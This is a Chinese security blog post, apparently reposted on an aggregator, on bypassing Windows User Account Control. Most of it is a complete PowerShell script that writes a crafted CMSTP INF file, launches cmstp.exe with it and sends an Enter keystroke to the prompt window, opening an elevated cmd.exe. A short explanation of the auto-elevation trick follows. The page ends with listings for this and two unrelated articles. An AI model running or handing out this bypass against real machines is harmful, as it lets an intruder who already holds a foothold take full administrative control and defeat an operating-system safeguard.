windows提权(三)-uac提权"

admin 2026-10-14 15:49:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

windows提权(三)-uac提权

原创

跃迁
跃迁

跃迁Sec

2026年10月12日 15:16
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

uac我们前面已经提及过了,简单说明一下,当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。当我们已经获取到管理员组用户权限时,发现当前uac等级较低不能执行相关操作时,我们才需要进行uac提权。

这类主包主要演示两种方法,一种是利用powershell脚本,另一种是直接使用工具,环境是主包的主机

第一种:powershell脚本

Function script:Set-INFFile {[CmdletBinding()]Param (\t[Parameter(HelpMessage=\"Specify the INF file location\")]$InfFileLocation = \"$env:temp\\CMSTP.inf\",
\t[Parameter(HelpMessage=\"Specify the command to launch in a UAC-privileged window\")]\t[String]$CommandToExecute = 'C:\\Windows\\System32\\cmd.exe'\t)
$InfContent = @\"[version]Signature=`$chicago`$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to install$CommandToExecutetaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000,49001=AllUSer_LDIDSection, 7[AllUSer_LDIDSection]\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"[Strings]ServiceName=\"CorpVPN\"ShortSvcName=\"CorpVPN\"\"@
$InfContent | Out-File $InfFileLocation -Encoding ASCII}

Function Get-Hwnd{  [CmdletBinding()]
  Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName  )  Process    {        $ErrorActionPreference = 'Stop'        Try         {            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle        }        Catch         {            $hwnd = $null        }        $hash = @{        ProcessName = $ProcessName        Hwnd        = $hwnd        }
    New-Object -TypeName PsObject -Property $hash    }}
function Set-WindowActive{  [CmdletBinding()]
  Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name  )
  Process  {    $memberDefinition = @'    [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);    [DllImport(\"user32.dll\", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);'@
    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd    If ($hwnd)     {      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)      [User32.Api]::SetForegroundWindow($hwnd)      [User32.Api]::ShowWindow($hwnd, 5)    }    Else     {      [string] $hwnd = 'N/A'    }
    $hash = @{      Process = $Name      Hwnd    = $hwnd    }
    New-Object -TypeName PsObject -Property $hash  }}
. Set-INFFile#Needs Windows formsadd-type -AssemblyName System.Windows.FormsIf (Test-Path $InfFileLocation) {#Command to run$ps = new-object system.diagnostics.processstartinfo \"c:\\windows\\system32\\cmstp.exe\"$ps.Arguments = \"/au $InfFileLocation\"$ps.UseShellExecute = $false
#Start it[system.diagnostics.process]::Start($ps)
do{# Do nothing until cmstp is an active window}until ((Set-WindowActive cmstp).Hwnd -ne 0)

#Activate windowSet-WindowActive cmstp
#Send the Enter key[System.Windows.Forms.SendKeys]::SendWait(\"{ENTER}\")}

脚本代码如上,详细原理就是由于cmstp.exe 是 autoElevate 可信程序,加载 INF 文件时会执行 INF 内预定义命令;脚本通过窗口句柄 + SendKeys 自动确认 UAC 弹窗,从而拿到高级uac权限。


windows提权(三)-uac提权" 网络安全文章

windows提权(三)-uac提权"

本文介绍WindowsUAC提权两种方法:一是利用cmstp.exe的autoElevate特性,通过PowerShell脚本生成INF文件并自动确认UAC弹窗执行命令;二是使用开源工具uacme,集成多种UAC绕过方法,选择编号即可调用。文章提供详细脚本代码和操作演示,属于实战经验分享。
为什么孩子不再愿意给父母交流了" 网络安全文章

为什么孩子不再愿意给父母交流了"

文章分析孩子不愿与父母交流的原因,指出父母常以`为你好`名义否定孩子想法,用`爱和孝顺`名义压制孩子,导致孩子逐渐疏远。建议父母少给建议、多倾听尊重孩子,陪孩子一起成长,若做不到则少打扰多尊重。
AI赋能威胁检测:从规则困境到安全工程落地" 网络安全文章

AI赋能威胁检测:从规则困境到安全工程落地"

文档探讨AI赋能威胁检测,对比传统规则与机器学习在安全检测中的优劣,指出机器学习可识别未知变种攻击。文章梳理AI在安全领域的六大落地场景,包括恶意软件识别、攻击行为检测等,并分析落地四大难题:样本获取难、工程链路长、模型黑盒、效果衰减。最后以恶意PE文件检测为例,介绍基于200万样本的工程实践,强调AI是安全工程师的助手,需构建完整数据底座与迭代体系。
评论:0   参与:  0